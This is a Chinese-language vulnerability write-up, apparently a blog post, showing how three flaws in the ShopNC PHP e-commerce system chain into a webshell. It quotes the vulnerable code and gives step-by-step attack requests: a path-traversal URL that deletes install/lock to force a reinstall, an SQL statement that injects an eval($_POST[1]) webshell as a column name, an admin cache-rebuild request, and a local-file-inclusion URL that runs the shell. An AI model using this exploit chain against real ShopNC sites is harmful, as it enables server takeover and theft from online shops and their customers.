前言

ShopNC是一款網城創想公司旗下服務于企業客戶的電子商務系統，基于PHP5技術采用MVC 模式開發，本文介紹了shopnc多個漏洞結合,可getshell有點暴力-_-

[[109727]]

任意文件刪除

文件 control\store.php 1438 行 (還有幾個同樣的地方,新版已修復)

........
$model_upload = Model('upload');
        $file_info = $model_upload->getOneUpload(intval($_GET['file_id']));
        if(!$file_info){
            @unlink(ATTACH_SLIDE.DS.$_GET['img_src']);
        }else{
 
........

本地文件包含

文件 /framework/core/base.php 71行

$act_file = realpath( BasePath.DS."control".DS.$_GET['act'].".php" );
    }
    if ( is_file( $act_file ) )
    {
        require( $act_file );
        $class_name = $_GET['act']."Control";
        if ( class_exists( $class_name ) )

后臺更新緩存寫shell

/**
     * 更新一條廣告緩存
     *
     * @param unknown_type $adv
     * @return unknown
     */
    public function makeAdvCache($adv){
        $lang   = Language::getLangContent();
        $tmp .= "<?php \r\n";
        $tmp .= "defined('InShopNC') or exit('Access Invalid!'); \r\n";
        if (is_numeric($adv) && $adv > 0){
 
            $condition['adv_id'] = $adv;
            $adv_info = $this->getList($condition);
            $adv = $adv_info['0'];
        }
    ..................................
                       $content = addslashes($v);
            $content = str_replace('$','\$',$content);
            //防止有$符號被解析成變量
            $tmp .= '$'.$k." = \"".$content."\"; \r\n";
        }
        //緩存文件存放位置及文件名
        $cache_file = BasePath.'/cache/adv/adv_'.$adv['adv_id'].'.cache.php';
        file_put_contents($cache_file,$tmp);

繼續跟進getList函數

public function getList($condition=array(), $page='', $limit='', $orderby=''){
    $param  = array();
    $param['table'] = 'adv';
    $param['field'] = $condition['field']?$condition['field']:'*';
    $param['where'] = $this->getCondition($condition);
    if($orderby == ''){
        $param['order'] = 'slide_sort, adv_id desc';
    }else{
        $param['order'] = $orderby;
    }
    $param['limit'] = $limit;
    return Db::select($param,$page);
}

寫文件時,從數據庫中遍歷key,跟value 未過濾key,key 可以從數據庫讀取,當有數據庫可控時,即可寫入任意文件.

ShopNc GetShell

結合以上三個漏洞,即可優雅的 getshell

流程

任意文件刪除 => 重裝 => 更改數據庫 shopnc_adv 鍵值 =>更新廣告緩存 =>getshell

具體步驟

1:http://www.xxx.com/index.php?act=store&op=dorp_img&file_id=16&img_src=/../../../install/lock

2:重裝系統

3:進入MySQL 執行sql ALTER TABLE `shopnc_adv` ADD `{eval($_POST[1])}` VARCHAR( 100 ) NOT NULL

4:進入后臺 更新廣告緩存 http://www.xxx.com/admin/index.php?act=adv&op=adv_edit&adv_id=14

5:連接shell http://www.xxx.com/index.php?act=../cache/adv/adv_14.cache